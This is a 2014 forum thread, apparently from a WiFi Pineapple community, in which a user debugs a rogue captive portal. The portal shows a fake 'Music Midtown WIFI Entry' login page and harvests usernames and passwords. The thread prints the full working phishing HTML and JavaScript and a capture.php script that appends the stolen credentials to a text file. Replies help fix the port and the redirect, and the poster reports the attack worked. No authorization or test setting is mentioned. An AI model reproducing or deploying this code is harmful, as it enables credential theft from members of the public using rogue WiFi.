bytedeez Posted September 18, 2014 Share Posted September 18, 2014 (edited) Hi ALL, I am having trouble getting my code to redirect to target website once summit button is pressed and also I can not get it to store text from user. I have tried a few different post on here and still can't solve my problem. note: splash.html below is stored in /etc/nodogsplash/htdocs and capture.php in /www <html> <head> <img src="$imagesdir/background.png" style="position: absolute; top: 0px; left: 0px" width="1300" height="950" /> <title>$gatewayname Entry</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-cache"> <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; redirectToTarget() { window.location = $authtarget; } } } function sendInfo() { var xmlhttp = new ajaxRequest(); document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>"; var usernamevalue=encodeURIComponent(document.getElementById("username").value) var passwordvalue=encodeURIComponent(document.getElementById("password").value) var parameters="username="+usernamevalue+"&password="+passwordvalue xmlhttp.open("POST", "http://172.16.42.1:8080/capture.php", true) xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded") xmlhttp.send(parameters) } </script> </head> <body bgcolor="#DDDDDD" text="#000000"> <div id="results"><p><i>Enter your username and password below.</i></p></div> <form id="pish" method="POST" action="http://172.16.42.1:8080/capture.php" style="position: absolute; top:700px; left: 800px" width="1300" height="1000"> <b>Username</b><input type="text" name="username" id="username"><br /> <b>Password</b><input type="password" name="password" id="password"><br /> <button type="button" onclick="sendInfo();return false;redirectToTarget()">Submit Info</button> </form> </body> </html> and my capture.php <?php $username = $_POST["username"]; $password = $_POST["password"]; $file = fopen("stored.txt", "a"); fwrite($file, $username . " " . $password . "\n"); fclose($file); echo 'Thank you for supplying your password!'; ?> Edited September 18, 2014 by damavox Quote Link to comment Share on other sites More sharing options...
newbi3 Posted September 18, 2014 Share Posted September 18, 2014 You're send the info to port 8080 and there is no web server running on port 8080 in the latest version of EP Quote Link to comment Share on other sites More sharing options...
bytedeez Posted September 19, 2014 Author Share Posted September 19, 2014 Thanks newbie, as you can tell most of this code comes from your youtube material. I'm guessing it's port 80 then? Quote Link to comment Share on other sites More sharing options...
bytedeez Posted September 19, 2014 Author Share Posted September 19, 2014 (edited) changed it to look like this but still no go <html> <img src="$imagesdir/background.png" style="position: absolute; top: 0px; left: 0px" width="1300" height="950" /> <head> <title>Music Midtown WIFI Entry</title> <meta HTTP-EQUIV="Pragma" CONTENT="no-cache"> <script type="text/javascript"> function ajaxRequest() { if (window.XMLHttpRequest) { return new XMLHttpRequest(); } else if (window.ActiveXObject) { return new ActiveXObject("Microsoft.XMLHTTP"); } else { return false; redirectToTarget() { window.location ="http://172.16.42.1/capture.php?text=" + "&redir= $authtarget"; } } } function sendInfo() { var xmlhttp = new ajaxRequest(); document.getElementById("results").innerHTML="<p><i>Thank you!</i></p>"; var usernamevalue=encodeURIComponent(document.getElementById("username").value) var passwordvalue=encodeURIComponent(document.getElementById("password").value) var parameters="username="+usernamevalue+"&password="+passwordvalue xmlhttp.open("POST", "http://172.16.42.1/capture.php", true) xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded") xmlhttp.send(parameters) } </script> </head> <body bgcolor="#DDDDDD" text="#000000"> <form id="pish" method="POST" action="http://172.16.42.1/capture.php" style="position: absolute; top:700px; left: 800px" width="1300" height="1000"> <b>Username</b><input type="text" name="username" id="username"><br /> <b>Password</b><input type="password" name="password" id="password"><br /> <button type="button" onclick="sendInfo();return false;redirectToTarget()">SIGN IN!!</button> </form> </body> got it working, now if someone could tell me how to conduct a 302 redirect in order to automatically trigger browser Edited September 19, 2014 by damavox Quote Link to comment Share on other sites More sharing options...
sud0nick Posted October 19, 2014 Share Posted October 19, 2014 bytedeez, Look at my post on Evil Portal - Captive Portal. You should be able to get all of this to work pretty easily and it should redirect automatically after you log the credentials if you use window.location.href = "$authtarget"; Also, why are you going through the hassle of creating an AJAX call with vanilla JavaScript? You would be able to clean up your code a lot if you use the JQuery function. Quote Link to comment Share on other sites More sharing options...
bytedeez Posted October 26, 2014 Author Share Posted October 26, 2014 it was some code published from the mark 4 i had in stock, but never used. Instead of wasting time rewriting it or simplifying i just need it to run. (because of time restrictions). I was actually able to get it running, and it worked out very well! Thanks for your help though! Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.